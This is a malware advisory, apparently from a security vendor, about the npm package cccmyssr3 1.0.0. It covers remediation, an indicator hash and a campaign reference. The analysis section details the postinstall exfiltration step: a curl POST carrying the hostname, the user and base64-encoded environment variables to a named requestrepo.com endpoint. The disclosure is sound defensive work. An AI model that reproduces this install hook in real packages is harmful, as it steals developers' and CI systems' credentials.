Which versions of cccmyssr3 are malicious?

The following npm versions of cccmyssr3 are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate cccmyssr3 if I installed it?

cccmyssr3 is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed cccmyssr3 — how do I know if it already compromised me?

If cccmyssr3 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is cccmyssr3 part of a known attack campaign?

Yes — cccmyssr3 is associated with the IN-MAL-2026-007438 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find cccmyssr3 across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for cccmyssr3 (version 1.0.0).

Malicious package

cccmyssr3npm

Advisory published Jun 24, 2026Updated Jun 24, 2026

cccmyssr3 is a confirmed malicious npm package (MAL-2026-6392) that steals credentials and exfiltrates sensitive data (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in cccmyssr3 (npm)

MAL-2026-6392

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall cccmyssr3

What this malware does

On npm install, this package automatically runs postinstall.js, which executes curl -X POST with a body containing the installer's hostname ($(hostname)), current user ($(whoami)), and the first 10 environment variables base64-encoded ($(env | head -10 | base64 -w 0)), sending them over plain HTTP to http://r1x55270.requestrepo.com — a requestrepo.com subdomain used as an attacker data-collection endpoint. Environment variables on developer and CI machines routinely contain credentials, API tokens, and CI secrets, so this is a credential-theft payload. The package's main is a trivial one-line formatDate stub and its description is 'A harmless utility package' — a cover story unrelated to the lifecycle behavior.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

a15e77975be346fa9b834e50124784a6774b5385e47072ae80911f5eda92cabf

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for cccmyssr3 (version 1.0.0).
If you installed it — respond
cccmyssr3 is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If cccmyssr3 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. cccmyssr3 on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007438

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks cccmyssr3-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

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